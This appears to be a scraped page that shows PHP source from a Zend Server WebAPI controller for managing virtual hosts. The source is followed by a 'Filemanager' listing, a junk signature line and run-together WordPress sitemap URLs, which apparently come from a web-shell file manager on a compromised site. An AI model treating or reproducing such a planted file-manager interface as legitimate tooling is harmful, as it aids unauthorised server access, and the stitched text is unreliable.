        if ($manager->getOsType() == \ZendServer\Configuration\Manager::OS_TYPE_IBMI) {
            $this->validateString($params['sslAppName'], 'sslAppName');
            if (!empty($params['sslAppName'])) {
                $vhostEditMapper->setSslAppName($params['sslAppName']);
            }
        } else { // on other os use certificate, key and chain
            $this->validateString($params['sslCertificatePath'], 'sslCertificatePath');
            $this->validateString($params['sslCertificateKeyPath'], 'sslCertificateKeyPath');
            $this->validateString($params['sslCertificateChainPath'], 'sslCertificateChainPath');

            if (!empty($params['sslCertificatePath'])) {
                $vhostEditMapper->setSslCertificatePath($params['sslCertificatePath']);
            }
            if (!empty($params['sslCertificateKeyPath'])) {
                $vhostEditMapper->setSslCertificateKeyPath($params['sslCertificateKeyPath']);
            }
            if (!empty($params['sslCertificateChainPath'])) {
                $vhostEditMapper->setSslCertificateChainPath($params['sslCertificateChainPath']);
            }
        }

        $vhostEditMapper->setVhostName($vhost->getName());
        $vhostEditMapper->setPort($vhost->getPort());

        try {

            $auditType = auditMapper::AUDIT_VHOST_EDIT;
            $auditData = array(
                _t('Vhost Id') => $vhostEditMapper->getVhostId(),
                _t('Vhost Name') => "{$vhostEditMapper->getVhostName()}:{$vhostEditMapper->getPort()}",
                _t('Vhost Template') => $vhostEditMapper->getTemplate()
            );

            $auditMessage = $this->auditMessage($auditType, ProgressMapper::AUDIT_PROGRESS_REQUESTED, array($auditData));

            $vhost = $vhostEditMapper->setVhost();
        } catch (\Exception $e) {
            $code = WebAPI\Exception::INTERNAL_SERVER_ERROR;
            if ($e instanceof \Vhost\Mapper\Exception && $e->getCode() == \Vhost\Mapper\Exception::APACHE_CONFIGURATION_INVALID) {
                $code = WebAPI\Exception::WEBSERVER_CONFIGURATION_ERROR;
            }
            Log::err("Failed to edit vhost: ".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array("message" => $e->getMessage()));
            throw new WebAPI\Exception(_t("Failed to edit vhost: %s", array($e->getMessage())), $code, $e);
        }

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY, array());
        Log::info("Vhost has been editted");

        $vhosts    = array($vhost);
        $vhostsIds = array($vhost->getId());

        $vhostsNodes = $this->getVhostNodes($vhostsIds);

        $viewModel = new ViewModel(array('vhosts' => $vhosts, 'vhostsNodes' => $vhostsNodes));
        $viewModel->setTemplate('vhost/web-api/1x6/vhost-get-status');
        return $viewModel;
    }

    /**
     * Get the list of virtual hosts currently used by the web server and
     * full information about each virtual host.
     * 
     * @api
     * @method : GET
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostGetDetails
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostgetdetails_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Integer vhost Required. The ID of a single virtual host.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostGetDetailsAction()
    {
        $this->isMethodGet();

        $params  = $this->getParameters();
        $this->validateMandatoryParameters($params, array('vhost'));
        $vhostId = $this->validatePositiveInteger($params['vhost'], 'vhost');

        $vhost       = $this->validateVhostExists($vhostId);
        $vhostsNodes = $this->getVhostNodes(array($vhostId));

        return array('vhosts' => array($vhost), 'vhostsNodes' => $vhostsNodes);
    }
    
    /**
     * Get the details of web site
     *
     * @api
     * @version 1.15
     * @method GET
     * @section Virtual Hosts
     * @name vhostGetDetails
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostgetdetails_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Integer site Required. The ID of a single web site.
     * @response {
    	"vhostDetails": {
    		"vhostInfo": {
    			"id": "2",
    			"name": "Default Web Site",
    			"port": "80",
    			"status": "Modified",
    			"default": "1",
    			"zendDefined": true,
    			"zendManaged": true,
    			"ssl": false,
    			"created": "2017-09-19T10:34:58+03:00",
    			"lastUpdated": "2017-09-19T10:34:58+03:00",
    			"createdTimestamp": "1505806498",
    			"lastUpdatedTimestamp": "1505806498",
    			"applicationPool": "DefaultAppPool",
    			"servers": [
    				{
    					"id": "0",
    					"status": "Modified",
    					"name": "PC-anyas",
    					"lastMessage": "[\"+<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?><br>+<configuration><br>+<system.webServer><br>+<directoryBrowse enabled=\\\"true\\\" /><br>+</system.webServer><br>+</configuration><br> <br>\"]"
    				}
    			]
    		},
    		"vhostExtended": {
    			"text": null,
    			"template": null,
    			"docRoot": "C:\\inetpub\\wwwroot",
    			"applicationPool": "DefaultAppPool",
    			"sslCertificatePath": null,
    			"sslCertificateKeyPath": null,
    			"sslCertificateChainPath": null,
    			"sslAppName": null,
    			"vhostApplications": [
    				{
    					"applicationId": "3",
    					"baseUrl": "http://localhost/client",
    					"applicationName": "zend-web-api-client",
    					"userApplicationName": "zend-web-api-client",
    					"installedLocation": "C:\\Program Files (x86)\\Zend\\ZendServer\\data\\apps\\http\\__default__\\0\\client\\1.6.9_3"
    				}
    			],
    			"bindings": [
    				{
    					"ID": "8",
    					"VHOST_ID": "2",
    					"IS_SSL": "0",
    					"HOSTNAME": "",
    					"PORT": "0",
    					"ADDRESS": "*"
    				}
    			]
    		}
    	}
    }
    */
    public function webSiteGetDetailsAction()
    {
        $this->isMethodGet();

        $params  = $this->getParameters();
        $this->validateMandatoryParameters($params, array('site'));
        $vhostId = $this->validatePositiveInteger($params['site'], 'site');

        $params = $params->toArray();
        $params['vhost'] = $params['site'];
        
        $request = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
        $request->setQuery(new Parameters($params));
        
        $viewModel = $this->forward()->dispatch('VhostWebAPI-1_15', array('action' => 'vhostGetDetails')); /* @var $vhostView \Zend\Http\PhpEnvironment\Response */
        $bindingMapper = $this->getBindingMapper();
       
        $bindings = $bindingMapper->findAllSiteBindings($params['site']);
        $bindings = $bindings->toArray();
        
        $viewModel->bindings = $bindings;
        $viewModel->setTemplate('vhost/web-api/1x15/site-get-details');
        return $viewModel;
    }

    /**
     * Get the default vhost template for ssl and non-ssl hosts
     * @params bool ssl
     */
    public function vhostGetDefaultTemplateAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array(
            'ssl' => 0,
        ));

        /* @var \Vhost\Mapper\Vhost */
        $mapper = $this->getVhostMapper();

        // get the default template
        $template       = $params['ssl'] ? $mapper->getSSLSchemaContent() : $mapper->getSchemaContent();
        $manageTemplate = $mapper->getManageTemplate();

        return new \WebAPI\View\WebApiResponseContainer(array(
            'template' => $template,
            'manageTemplate' => $manageTemplate,
        ));
    }

    private function validateVhostNames($names, $parameterName = 'names')
    {
        $this->validateArray($names, 'names');

        foreach ($names as $name) {
            $this->validateVhostName($name);
        }
    }

    private function validateVhostName($name, $parameterName = 'name')
    {
        if (preg_match('#^[[:alnum:]\\-_\.]+:[[:digit:]]+$#', $name) > 0) {
            $uri = UriFactory::factory('http://'.$name);
            if (!$uri->isValid()) {
                throw new WebAPI\Exception(_t("Parameter %s contains invalid vhost name %s",
                    array($parameterName, $name)), WebAPI\Exception::INVALID_PARAMETER);
            }
        } else {
            throw new WebAPI\Exception(_t("Parameter %s contains is invalid %s", array($parameterName, $name)),
            WebAPI\Exception::INVALID_PARAMETER);
        }
    }

    private function getVhostNodes($vhostsIds)
    {
        new \Zend\Session\Storage\SessionArrayStorage;
                $vhostsSessions = new \Zend\Session\Container('vhost_session');
        $deletingVhosts = isset($vhostsSessions->deletingVhosts) ? $vhostsSessions->deletingVhosts : array();
        return $this->getVhostMapper()->getFullVhostNodes($vhostsIds, $deletingVhosts);
    }

    private function vhoseGetApplications($vhostId)
    {
        $vhostApps         = $this->getDeploymentMapper()->getApplicationsByVhostIds(array($vhostId));
        $vhostAppsToReturn = array();
        foreach ($vhostApps as $apps) {
            $appIds = array_keys($apps);
            foreach ($appIds as $appId) {
                $app                       = $this->getDeploymentMapper()->getApplicationById($appId);
                $vhostAppsToReturn[$appId] = array('id' => $appId, 'name' => $app->getApplicationName(), 'userName' => $app->getUserApplicationName());
            }
        }

        return $vhostAppsToReturn;
    }

    /**
     * @param array $vhostParams
     * @return AddVhost
     * @throws WebAPI\Exception
     */
    private function validateVhostParameters($vhostParams)
    {
        if (isset($vhostParams['name'])) {
            $vhostParams['name'] = $this->validateHost(strtolower($vhostParams['name']), 'name');
        }

        if (isset($vhostParams['port'])) {
            $this->validateMaxInteger($vhostParams['port'], 65535, 'port');
            $vhostParams['port'] = $this->validatePositiveInteger($vhostParams['port'], 'port');
            // fixed #ZSRV-17581, validation of 0
            if ($vhostParams['port'] == 0) {
                throw new WebAPI\Exception(_t("Parameter 'port' must be a positive integer"),
                WebAPI\Exception::INVALID_PARAMETER);
            }
        }

        if (isset($vhostParams['template'])) {
            $vhostParams['template'] = $this->validateString($vhostParams['template'], 'template');
        }

        if (isset($vhostParams['vhostId']) && $vhostParams['vhostId']) {
            $vhostParams['vhostId'] = $this->validatePositiveInteger($vhostParams['vhostId'], 'vhostId');
        }

        if (isset($vhostParams['forceCreate'])) {
            $vhostParams['forceCreate'] = $this->validateBoolean($vhostParams['forceCreate'], 'forceCreate');
        }

        return $vhostParams;
    }

    /**
     * @return array
     */
    private function getServersIds()
    {
        $servers = $this->getServersMapper()->findAllServers();
        return array_map(function($server) {
            return $server['NODE_ID'];
        }, $servers->toArray());
    }

    /**
     *
     * @param integer $vhostId
     * @throws WebAPI\Exception
     * @return \Vhost\Entity\Vhost
     */
    private function validateVhostExists($vhostId)
    {
        $currentVhost = $this->getVhostMapper()->getVhostById($vhostId);
        if (is_null($currentVhost->getId())) {
            throw new WebAPI\Exception((Manager::isIIS() ? 'Web site' : 'Vhost') . _t(" %s does not exist", array($vhostId)), WebAPI\Exception::NO_SUCH_VHOST);
        }
        return $currentVhost;
    }

    /**
     * @param array|Parameters $params
     * @throws \WebAPI\Exception
     * @return \Zend\View\Model\ViewModel
     */
    private function addVhost($params)
    {
        $form = $this->getLocator()->get('Vhost\Form\Vhost');
        $form->prepareElements();
        $form->setHydrator(new VhostActionHydrator());
        $form->setObject($this->getLocator()->get('Vhost\Mapper\AddVhost'));
        $form->setData($params);

        if (!$form->isValid()) {
            throw new \WebAPI\Exception(sprintf('Invalid parameter \'%s\': %s', key($form->getMessages()),
                current(current($form->getMessages()))), \WebAPI\Exception::INVALID_PARAMETER);
        }

        $vhostAddMapper = $form->getData(); /* @var $vhostAddMapper \Vhost\Mapper\AddVhost */
        $vhostMapper    = $this->getVhostMapper();

        $vhostsResult = $vhostMapper->getVhostByName("{$vhostAddMapper->getVhostName()}:{$vhostAddMapper->getPort()}");
        if (!is_null($vhostsResult)) {
            throw new WebAPI\Exception(_t("Vhost %s:%s already exists",
                array($vhostAddMapper->getVhostName(), $vhostAddMapper->getPort())),
            WebAPI\Exception::VIRTUAL_HOST_ALREADY_EXISTS);
        }

        $vhostsPortsResult = $vhostMapper->getVhostsByPorts($vhostAddMapper->getPort());
        foreach ($vhostsPortsResult as $vhost) {
            if ((!$vhost->isSsl() && $vhostAddMapper->getSsl())) {
                throw new WebAPI\Exception(_t("Vhost port ".$vhostAddMapper->getPort()." already used on non ssl vhosts",
                    array($vhostAddMapper->getVhostName(), $vhostAddMapper->getPort())),
                WebAPI\Exception::VIRTUAL_HOST_ALREADY_EXISTS);
            } elseif (($vhost->isSsl() && !$vhostAddMapper->getSsl())) {
                throw new WebAPI\Exception(_t("Vhost port ".$vhostAddMapper->getPort()." already used on ssl vhosts",
                    array($vhostAddMapper->getVhostName(), $vhostAddMapper->getPort())),
                WebAPI\Exception::VIRTUAL_HOST_ALREADY_EXISTS);
            }
        }
        try {

            $auditType = auditMapper::AUDIT_VHOST_ADD;
            $auditData = array(
                _t('Vhost Name') => "{$vhostAddMapper->getVhostName()}:{$vhostAddMapper->getPort()}",
                _t('Vhost Template') => $vhostAddMapper->getTemplate()
            );

            $auditMessage = $this->auditMessage($auditType, ProgressMapper::AUDIT_PROGRESS_REQUESTED, array($auditData));

            $vhostsResult = $vhostAddMapper->setVhost();
        } catch (\Exception $e) {
            $code = WebAPI\Exception::INTERNAL_SERVER_ERROR;
            if ($e instanceof \Vhost\Mapper\Exception && $e->getCode() == \Vhost\Mapper\Exception::APACHE_CONFIGURATION_INVALID) {
                $code = WebAPI\Exception::WEBSERVER_CONFIGURATION_ERROR;
            }
            Log::err("Failed to add vhost: ".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array("message" => $e->getMessage()));
            throw new WebAPI\Exception(_t("Failed to add vhost: %s", array($e->getMessage())), $code, $e);
        }

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY, array());
        Log::info("Vhost has been added.");

        $vhosts    = array($vhostsResult);
        $vhostsIds = array($vhostsResult->getId());

        $vhostsNodes = $this->getVhostNodes($vhostsIds);

        $viewModel = new ViewModel(array('vhosts' => $vhosts, 'vhostsNodes' => $vhostsNodes));
        $viewModel->setTemplate('vhost/web-api/1x6/vhost-get-status');
        return $viewModel;
    }

    /**
     * @param integer $order
     * @throws WebAPI\Exception
     */
    protected function validateOrder($order)
    {
        $order       = strtolower($order);
        $sortColumns = $this->getVhostMapper()->getSortColumnsDictionary();
        if (!in_array($order, $sortColumns)) {
            throw new WebAPI\Exception(
            _t('Parameter \'order\' must be one of %s',
                array(implode(', ', $this->getVhostMapper()->getSortColumnsDictionary()))),
            WebAPI\Exception::INVALID_PARAMETER);
        }
    }

    /**
     *
     * @param string $filterName
     * @return \Vhost\Filter\Filter
     */
    private function getFilterObj($filterName, $filterData)
    {
        if (!$filterName) return new Filter($filterData);

        $filterList = $this->getFilterMapper()->getByTypeAndName(Filter::VHOST_FILTER_TYPE, $filterName); /* @var $filterList \ZendServer\Filter\FilterList */
        if (!count($filterList)) {
            throw new WebAPI\Exception(_t("Cannot find Vhost filter '%s' in '%s' table",
                array($filterName, $this->getFilterMapper()->getTableName())), WebAPI\Exception::INVALID_PARAMETER);
        }

        return new Filter($filterData + $filterList->current()->getData()); // actual data will take precedence over dbData
    }

    /**
     * 
     * @return \Vhost\Filter\Dictionary
     */
    private function getDictionary()
    {
        if ($this->dictionary) {
            return $this->dictionary;
        }

        return $this->dictionary = $this->getLocator()->get('Vhost\Filter\Dictionary');
    }

    private function renameFilterKeys($filterData)
    { // adjusting keys from the global filter widget conventions
        return $filterData;
    }
}

Filemanager

Name Type Size Permission Actions
IndexController.php File 3.89 KB 0644
WebAPIController.php File 52.35 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml